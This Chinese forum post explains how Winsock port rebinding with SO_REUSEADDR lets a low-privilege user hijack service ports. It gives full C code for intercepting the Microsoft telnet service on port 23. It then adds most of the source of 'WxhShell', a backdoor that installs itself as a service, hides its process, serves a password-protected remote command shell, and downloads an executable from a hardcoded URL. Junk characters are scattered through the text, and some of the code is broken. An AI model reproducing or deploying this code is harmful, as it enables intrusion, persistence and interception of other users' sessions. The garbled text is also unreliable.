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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;Kq/[$~0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p<5ED\;N;  
D^+#RR'#,  
  saddr.sin_family = AF_INET; 86bl'FdKS  
s8,N9o[.~P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [42vO  
xz1jRI$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ][ri A  
%UEV['=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a2l\B~n  
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  这意味着什么?意味着可以进行如下的攻击: 8!a6)Zeux  
Q;m:o8Q5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .VFa,&5;3  
9>y6zFTV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?&Zfb  
9C?;'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZeVb< g  
II !Nr{A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >j [> 0D  
YzTmXwuA5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F`W8\u'db  
q9GSUkb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "I"(yiKD  
35}{dr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y7QIFY's~  
FyZp,uD  
  #include mTG v*=l  
  #include 7M~w05tPh  
  #include +}IOTw" O`  
  #include    ( Z-~Eh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >heFdKq1  
  int main() a<-'4D/  
  { rFY% fo  
  WORD wVersionRequested; oLJP@J  
  DWORD ret; qA4w*{JN  
  WSADATA wsaData; yDwG,)m 4s  
  BOOL val; ;t'~  
  SOCKADDR_IN saddr; &X 0qH8W  
  SOCKADDR_IN scaddr; %O$4da"y  
  int err; u`Ew^-">  
  SOCKET s;  2=X\G~a  
  SOCKET sc; NXQdyg,  
  int caddsize; jD@KG  
  HANDLE mt; 2rS|V|d  
  DWORD tid;   |Qq_;x]  
  wVersionRequested = MAKEWORD( 2, 2 ); ,j{$SuZ M  
  err = WSAStartup( wVersionRequested, &wsaData ); J|k~e,C  
  if ( err != 0 ) { jOuz-1x,&  
  printf("error!WSAStartup failed!\n"); }R.<\  
  return -1; _1D'9!+   
  } p=T,JAIt  
  saddr.sin_family = AF_INET; Ol8ma`}Nq3  
   j5lSu~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nl9G1Sm(E  
N7A/&~g5L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _7?LINF9  
  saddr.sin_port = htons(23); /UG H7srx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pb05>J3N  
  { fD8A+aA  
  printf("error!socket failed!\n"); "Dbjp5_  
  return -1; [C@0&[[  
  } oM`[&m.,  
  val = TRUE; -5 -X[`cF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S`yY<1[O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N O|&nqq,>  
  { G.KZZ-=_4  
  printf("error!setsockopt failed!\n"); aBX^Wd  
  return -1; Y<X,(\iEHP  
  } y}NBJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O=wA/T=w?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y99 3uP   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 16q"A$  
]=5nC)|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Do3;-yp>`  
  { -\mbrbG9H  
  ret=GetLastError(); wIi_d6?  
  printf("error!bind failed!\n"); 2=pVX  
  return -1; )*[3Imq/  
  } cC'{+j8-a  
  listen(s,2); ?zwPF;L*  
  while(1) KNtsz[#b  
  { nK*$P +[R  
  caddsize = sizeof(scaddr); \M4/?<g  
  //接受连接请求 psb$rbu7[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s_} 1J,Y  
  if(sc!=INVALID_SOCKET) 5Qb%g )jZ  
  { }]cKOv2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `&2AN%Xz  
  if(mt==NULL) )L?JH?$C  
  { T7E9l  
  printf("Thread Creat Failed!\n"); '2+Rb7V  
  break; ve.rp F\  
  } [ F id  
  } kFPZ$8e  
  CloseHandle(mt); Xrpzc~(  
  } +R}(t{b#  
  closesocket(s); > <WR]`G  
  WSACleanup(); ; qT~81  
  return 0; KD]8n]c  
  }   %a-:f)@  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8NLTq|sW  
  { }a= &o6=  
  SOCKET ss = (SOCKET)lpParam; /`yb75  
  SOCKET sc; eJ0PSW/4l  
  unsigned char buf[4096]; I13n mI\  
  SOCKADDR_IN saddr; !Fa2F~#h  
  long num; RFyeA. N  
  DWORD val; MW%EJT>@z  
  DWORD ret; ;Wjb}_V:_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IZ /Md@C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y"= j[.  
  saddr.sin_family = AF_INET; OA#AiQUR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mgeNH~%m@*  
  saddr.sin_port = htons(23); KL]@y!QU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d, j"8\@  
  { |ToCRM  
  printf("error!socket failed!\n"); ;kO Op@e  
  return -1; Lx&2)  
  } \N1 G5W  
  val = 100; c!@g<<}[(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )ymd#?wq  
  { JCNZtWF  
  ret = GetLastError(); "i$Av m  
  return -1; Yv!%Is  
  } +.UdEIR";M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BwO^F^Pr?k  
  { f`@$ saFD  
  ret = GetLastError(); vluA46c  
  return -1; XYD}OddO  
  } )]Xj"V2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XBv:$F.>$  
  { Mfjj+P  
  printf("error!socket connect failed!\n"); ,ZyTYD|7  
  closesocket(sc); ;j]0GD,c$  
  closesocket(ss); 9I*zgM!F  
  return -1; WlnmW(uahW  
  } &mj98  
  while(1) {<7!=@j  
  { r (Ab+1b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +o)o4l%3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j["b*X`8G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d[ql7  
  num = recv(ss,buf,4096,0); )24r^21.q  
  if(num>0) `mV&[`NZ  
  send(sc,buf,num,0); +5(#~  
  else if(num==0) B5"(NJ;  
  break; ^]}UyrOn  
  num = recv(sc,buf,4096,0); |<&9_Aq_  
  if(num>0) [>xwwm  
  send(ss,buf,num,0); 2<Lnfc<^k  
  else if(num==0) 3A2X1V"  
  break; |- 39ZZOX  
  } qX[a\HQa  
  closesocket(ss); 4[t1"s~Wg  
  closesocket(sc); der'<Q.U:k  
  return 0 ; U CzIOxp}  
  } S0C 7'H%?#  
Y9fktg.  
#N\kMJl$l  
========================================================== \nM$qr'`B  
 6jFc'  
下边附上一个代码,,WXhSHELL C*kGB(H7  
&6nOCU)  
========================================================== 4bD^Kc 4\  
1wpT"5B  
#include "stdafx.h" 26|2r  
4f/2gI1@B  
#include <stdio.h> zJNiAc  
#include <string.h> V,?i]q;5  
#include <windows.h> 3uO#/EbS  
#include <winsock2.h> `MFw2nu@t  
#include <winsvc.h> :JW!$?s8H  
#include <urlmon.h> qQC<oR  
24Lo .  
#pragma comment (lib, "Ws2_32.lib") tW;?4}JR  
#pragma comment (lib, "urlmon.lib") kxU <?0  
86!"b  
#define MAX_USER   100 // 最大客户端连接数 ;pu68N(B  
#define BUF_SOCK   200 // sock buffer rnWU[U8%  
#define KEY_BUFF   255 // 输入 buffer "HTp1  
t_1a.Jv  
#define REBOOT     0   // 重启 k@nx+fO}P  
#define SHUTDOWN   1   // 关机 <H3njv  
sev^  
#define DEF_PORT   5000 // 监听端口 Dpp 3]en.  
F/z$jj)  
#define REG_LEN     16   // 注册表键长度 z6e)|*cA$  
#define SVC_LEN     80   // NT服务名长度 "X~ayn'@w,  
v2R41*z,  
// 从dll定义API %KL"f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y&T(^EA;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !HyPe"`oL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6@kKr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Eh 2sI  
Srw ciF  
// wxhshell配置信息 5^lroC-(x  
struct WSCFG { j&n][=PL  
  int ws_port;         // 监听端口 ' O1X+  
  char ws_passstr[REG_LEN]; // 口令 #@xSR:m  
  int ws_autoins;       // 安装标记, 1=yes 0=no rJi;"xF8  
  char ws_regname[REG_LEN]; // 注册表键名 2*:lFv wP  
  char ws_svcname[REG_LEN]; // 服务名 WJvD,VMz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jT/SZ|S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +!9&E{pmo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^zn j J\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cn1CM'Ru  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _[}r2,e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t]1j4S"pm  
6||zwwk'.  
}; MJ^NRT0?b  
 5|2v6W!e  
// default Wxhshell configuration g _fvbVX  
struct WSCFG wscfg={DEF_PORT, xo#&&/6  
    "xuhuanlingzhe", D6&fDhO27  
    1, yGl (QLk  
    "Wxhshell", b5u_x_us|  
    "Wxhshell", vaQZ1a,  
            "WxhShell Service", HPVW2Y0_N  
    "Wrsky Windows CmdShell Service", o3*IfD  
    "Please Input Your Password: ", IgH[xwzy[  
  1, JJJlgr]#  
  "http://www.wrsky.com/wxhshell.exe", gI rVrAV#  
  "Wxhshell.exe" OMG.64DX .  
    }; p-n_ ">7  
.-[uQtyWW  
// 消息定义模块 n\k6UD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AD$k`Cj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~@=:I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A-gNfXP,D  
char *msg_ws_ext="\n\rExit."; Ep-{Ew{T_=  
char *msg_ws_end="\n\rQuit."; w$Lpuu n{  
char *msg_ws_boot="\n\rReboot..."; z#*M}RR  
char *msg_ws_poff="\n\rShutdown..."; F, {M!dL  
char *msg_ws_down="\n\rSave to "; _urv We  
xzF@v>2S+  
char *msg_ws_err="\n\rErr!"; fhqc[@Y[  
char *msg_ws_ok="\n\rOK!"; hU=n>g>nx  
0KqGJ :Ru  
char ExeFile[MAX_PATH]; ~?&;nTwHe  
int nUser = 0; hPtSY'_@_  
HANDLE handles[MAX_USER]; >QRpRHtb  
int OsIsNt; *k'D%}N:  
! 7,rz1s73  
SERVICE_STATUS       serviceStatus; :Bc)1^ I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n,sl|hv2U  
m#Rgelhk.  
// 函数声明 >*rsRR  
int Install(void); 7m0sF<P{g  
int Uninstall(void); !` S ?  
int DownloadFile(char *sURL, SOCKET wsh); HrQBzS  
int Boot(int flag); Gy0zh|me  
void HideProc(void); tU7,nE>p  
int GetOsVer(void); kSGFLP1FN  
int Wxhshell(SOCKET wsl); @f442@_4  
void TalkWithClient(void *cs); "o&_tB;O  
int CmdShell(SOCKET sock); m=i8o `  
int StartFromService(void); ?H8w/{J   
int StartWxhshell(LPSTR lpCmdLine); [?u iM^&  
g2L^cP>2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !7ct=L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N@J "~9T  
2ILMf?}  
// 数据结构和表定义 oLVy?M%{P  
SERVICE_TABLE_ENTRY DispatchTable[] = fk-zT  
{ ]~~PD?jh  
{wscfg.ws_svcname, NTServiceMain}, /CX_@%m}e=  
{NULL, NULL} '6i"pJ0%  
}; u'cM}y&  
nxH=Ut7{  
// 自我安装 S'T&`"Mr  
int Install(void) D?~`L[}I!}  
{ :-HVK^$%  
  char svExeFile[MAX_PATH];  B[jCe5!w  
  HKEY key; *BzqAi0  
  strcpy(svExeFile,ExeFile); V&82U w  
yVd}1bX  
// 如果是win9x系统,修改注册表设为自启动 :f (UZmV$  
if(!OsIsNt) { E5"%-fAJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e"HA.t[A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9[}L=n  
  RegCloseKey(key); \C;cs&\Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nDx}6}5)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dz$GPA   
  RegCloseKey(key); s0,c4y  
  return 0; \zioIfHm  
    } mX))*e4k  
  } P)x&9OHV  
} `tKrTq>  
else { ?m5@ 63 5  
A?[06R5E#  
// 如果是NT以上系统,安装为系统服务 ZN75ON L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UMsJg7~  
if (schSCManager!=0) 4DaLt&1  
{ BUR96YN.  
  SC_HANDLE schService = CreateService k?-GI[@X  
  ( 2LS03 27  
  schSCManager, :%ms6j/B&V  
  wscfg.ws_svcname, Sx{vZS3  
  wscfg.ws_svcdisp, J8Bz|.@Q  
  SERVICE_ALL_ACCESS, L{_Q%!h3]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _7df(+.{<A  
  SERVICE_AUTO_START, Tjba @^T  
  SERVICE_ERROR_NORMAL, 7=yV8.cD  
  svExeFile, Zd$a}~4~  
  NULL, ,h1 z8.wD|  
  NULL, feg  
  NULL, !DgN@P.o  
  NULL, o%dKi]  
  NULL +>BLox6  
  ); 1#rcxUSi  
  if (schService!=0) r(=  
  { 1b*Me'  
  CloseServiceHandle(schService); nT.i|(xd.  
  CloseServiceHandle(schSCManager); 1.p2{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N]gJ( g  
  strcat(svExeFile,wscfg.ws_svcname); >2Z0XEe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YC(7k7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XL9smFq  
  RegCloseKey(key); J_PAWW  
  return 0; cE (P^;7D  
    } 45g:q  
  } &sh5|5EC  
  CloseServiceHandle(schSCManager); -J7BEx  
} OR84/^>  
} OP:i;%@c  
ybsQ[9_36  
return 1; gumT"x .^  
} &<??,R14  
&Pk #v  
// 自我卸载 mab921-n  
int Uninstall(void) Vf28R,~m  
{ 0PfjD  
  HKEY key; {J#SpG 7  
9i9'Rd`g  
if(!OsIsNt) { =rL%P~0wq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + Cf"rN  
  RegDeleteValue(key,wscfg.ws_regname); 1Ce7\A  
  RegCloseKey(key); hA'i|;|ZYc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (^_j,4  
  RegDeleteValue(key,wscfg.ws_regname); f\p#3IwwH  
  RegCloseKey(key); =&%}p[ 3g  
  return 0; !TNp|U!  
  } 4F[4H\>'  
} %:/@1r7o>  
} +( Q$GO%  
else { kZb #k#  
_?VMSu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g:dtfa/]  
if (schSCManager!=0) 8Pb~`E/  
{ K_SURTys  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3@}rO~  
  if (schService!=0) zD"n7;  
  { rXh*nC  
  if(DeleteService(schService)!=0) { *'i9  
  CloseServiceHandle(schService); e4h9rF{Cxn  
  CloseServiceHandle(schSCManager); [I~&vLTe  
  return 0; RIm8PV;N  
  } { l0[`"EF  
  CloseServiceHandle(schService); :P'M|U  
  } 1hTE^\W  
  CloseServiceHandle(schSCManager); 1]&FB{l  
} +,g3Xqs}X  
} I$0O4  
?Yf0h_>  
return 1; $@Bd}35 J  
} 8-|| Nh  
}xa~U,#5  
// 从指定url下载文件 W(#u^,$e[  
int DownloadFile(char *sURL, SOCKET wsh) W1;QPdz:  
{ 5^5hhm4  
  HRESULT hr; ?zk#}Ex1  
char seps[]= "/"; y2`},  
char *token; 7 :C_{\(  
char *file; .&i_~?1[N  
char myURL[MAX_PATH]; 6*&$ha}X  
char myFILE[MAX_PATH]; mu*RXLai  
'.B5CQ  
strcpy(myURL,sURL); pw.K,?kYr  
  token=strtok(myURL,seps); cM_!_8o  
  while(token!=NULL) # 4&t09  
  { ~K/_51O'  
    file=token; $P h#pM(  
  token=strtok(NULL,seps); %,UTFuM`  
  } }'p"q )  
J#?` l,  
GetCurrentDirectory(MAX_PATH,myFILE); PcQ\o>0")  
strcat(myFILE, "\\"); 3\ {?L  
strcat(myFILE, file); ;#?G2AAv  
  send(wsh,myFILE,strlen(myFILE),0); 207FD  
send(wsh,"...",3,0); eH ]9"^> o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  3 GL,=q  
  if(hr==S_OK)  Al1}Ir   
return 0; _)S['[  
else 2Krh&  
return 1; C %i{{Y&l  
UOpSH{N  
} 8#nAs\^  
I {%Y0S  
// 系统电源模块 5gSe=|we*p  
int Boot(int flag) vW-o%u*  
{ IP  
  HANDLE hToken; 4:= VHd  
  TOKEN_PRIVILEGES tkp; xOx=Z\ c  
Z*+y?5+L"P  
  if(OsIsNt) { J=J!)\m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dsn(h5,Q'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); skYHPwJdW  
    tkp.PrivilegeCount = 1; )UtK9;@"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BJt]k7ku+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e>m+@4*sn  
if(flag==REBOOT) { t$3B#=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QM'|k6  
  return 0; \fsNI T/  
} kX2Z@ w`  
else { yAFt|<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +G6 Ge;  
  return 0; CofTTYl  
} 3a[LM!  
  } dZY|6  
  else { rJ{k1H>  
if(flag==REBOOT) { Z,DSTP\|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8!{ }WLwb  
  return 0; u+O"c  
} KF6N P  
else { vm7ag 7@O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rk-G| 52g  
  return 0; zE Ly1v\"  
} EbeSl+iMx_  
} DX^8w?t  
Xf[;^?]X  
return 1; nsM. `s@V  
} %d%FI"!K  
P]iJ"d]+X  
// win9x进程隐藏模块 !"ir}Y%  
void HideProc(void) H.;2o(vD  
{ RBfzti6  
-Q/wW4dE=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wRZFBf~ :  
  if ( hKernel != NULL ) 3 Q~0b+k  
  { W!"Oho'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1gnLKfc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }mo)OyIX  
    FreeLibrary(hKernel); dlA0&;}z  
  } X f{9rZ+  
OnH3Ss$  
return; [ahwJF#r  
} K_n GZ/`[  
 9I:3  
// 获取操作系统版本 3mHP=)  
int GetOsVer(void) G?,"AA;  
{ !*3]PZ25a(  
  OSVERSIONINFO winfo; H|$ *HQm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GO.7IL{ {  
  GetVersionEx(&winfo); KG4zjQf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M~h.M PI  
  return 1; A)gSOC{3F)  
  else .mNw^>:cq  
  return 0; oVr:ZwkG3  
} ;<*USS6X  
III:j hh  
// 客户端句柄模块 ">M&/}4  
int Wxhshell(SOCKET wsl) 3ZN\F  
{ 8;"9A  
  SOCKET wsh; }ik N  
  struct sockaddr_in client; g{ ;OgS3>  
  DWORD myID; ,:#h;4!VRF  
a*t @k*d_  
  while(nUser<MAX_USER) G^cMY$?99  
{ m?gGFxo  
  int nSize=sizeof(client); H )>3c1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lWH#/5`h  
  if(wsh==INVALID_SOCKET) return 1; Bt#'6::  
"%bU74>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mnk-"d  
if(handles[nUser]==0) #|3,DZ|)F  
  closesocket(wsh); f~,Ml*Zp  
else l8J2Xd @   
  nUser++; ei>iXDt  
  } JIjo^zOXsc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?~IdPSY  
cv1PiIl  
  return 0; ,)N/2M\B-  
} itE/QB  
W]Nc6B*gI  
// 关闭 socket >j7]gi(  
void CloseIt(SOCKET wsh) t3g+>U_m  
{ .beqfcj"  
closesocket(wsh); TyA1Qk\  
nUser--; BR-wL3x b  
ExitThread(0); p5py3k  
} )*R';/zaI  
M IyT9",Pl  
// 客户端请求句柄 cW_l|  
void TalkWithClient(void *cs) q!+:zZu  
{ ]NtBP  
k7{|\w%  
  SOCKET wsh=(SOCKET)cs; c<lEFk!g  
  char pwd[SVC_LEN]; _mk@1ft  
  char cmd[KEY_BUFF]; vC^{,?@  
char chr[1]; a\ ~118 !  
int i,j; yye5GVY$  
p] N/]2rR  
  while (nUser < MAX_USER) { @h_ bXo  
,`OQAJ)>  
if(wscfg.ws_passstr) { 0rQ r#0`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KX3A|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uJlW$Oc:.  
  //ZeroMemory(pwd,KEY_BUFF); yyk@f%  
      i=0; @v:Eh  
  while(i<SVC_LEN) { X&| R\v=}  
c10$5V&@  
  // 设置超时 717G CL@  
  fd_set FdRead; _yX.Apv]  
  struct timeval TimeOut; Jh<s '&FR  
  FD_ZERO(&FdRead); OSLZ7B^  
  FD_SET(wsh,&FdRead); ^fyue~9u  
  TimeOut.tv_sec=8; ,KD?kSIf  
  TimeOut.tv_usec=0; z;?j+ZsdH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 00s)=A_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XPZ8*8JL  
k.jBu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 49<t2^1q  
  pwd=chr[0]; )y Zr]  
  if(chr[0]==0xd || chr[0]==0xa) { /u_9uJ"-K(  
  pwd=0; l]#=I7 6  
  break; %rgW}Z5  
  } =F Y2O`%a  
  i++; pq\N 2d  
    } ASrRMH[  
qJf\,7mi  
  // 如果是非法用户,关闭 socket h{H*k#>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fq!_VF^r  
} C(h Td%  
!*HJBZ]q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [)dIt@Y&j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?E(X>tH  
!f&hVLs0  
while(1) { `u7^r^>A  
RHpjJZUV  
  ZeroMemory(cmd,KEY_BUFF); R*FDg;t4  
OB\ZT@l  
      // 自动支持客户端 telnet标准   ]h&1|j1  
  j=0; O:a=94  
  while(j<KEY_BUFF) { >dJ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bBXLW}W  
  cmd[j]=chr[0]; C@Go]*c  
  if(chr[0]==0xa || chr[0]==0xd) { ,FH1yJ;Y&  
  cmd[j]=0; u??ti OK{  
  break; !4FOX>|L@  
  } nT +ZSr  
  j++; D`mr>-Y  
    } -meY[!"X  
lKQevoy'  
  // 下载文件 &zJ\D`\,O  
  if(strstr(cmd,"http://")) { S-ZN}N{,6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w)RedJnf  
  if(DownloadFile(cmd,wsh)) ,!GoFu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =au!rda  
  else l 9g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'RF`XX  
  } @V:Y%#%  
  else { z}.6yHS  
@iXBy:@  
    switch(cmd[0]) { a j$& 9][  
  Q-F$Ryj^  
  // 帮助 *h=>*t?I2  
  case '?': { q86}'dFw{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;m>/tD%  
    break; wfEL .h  
  } ~e]B[>PT  
  // 安装 }&v-<qC^  
  case 'i': { Y*p<\{,oC  
    if(Install()) U6*[}Ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' (XB|5  
    else *]h"J]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2<p@G#(  
    break; :dRC$?f4  
    } `Mbs6AJ  
  // 卸载 ($/l_F  
  case 'r': { sQ^t8Y 9  
    if(Uninstall()) s :BW}PM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %G,7Ul1f  
    else :) -`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QG~6mvD  
    break; JC-> eY"O2  
    } vr{|ubG]d  
  // 显示 wxhshell 所在路径 /\uopa  
  case 'p': { _KkaseR  
    char svExeFile[MAX_PATH]; x3#:C=  
    strcpy(svExeFile,"\n\r"); ]h' 38W  
      strcat(svExeFile,ExeFile); /]j{P4  
        send(wsh,svExeFile,strlen(svExeFile),0); @>.aQE  
    break; iM;Btv[|  
    } C4`&_yoP4-  
  // 重启 5@ td0  
  case 'b': { Scm45"wB+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +!px+*)bW  
    if(Boot(REBOOT)) k\;D;e{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+)wrJTtm  
    else { ~6Fh,S1?  
    closesocket(wsh); EW vhT]<0  
    ExitThread(0); |6DJ5VFzD  
    } UF6U5],`u  
    break; Y3FFi M[s~  
    } +;,J0,Yn  
  // 关机 `Npo|.?=  
  case 'd': { 3+d^Bpp4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n 3&h1-  
    if(Boot(SHUTDOWN)) :<{ 15:1  
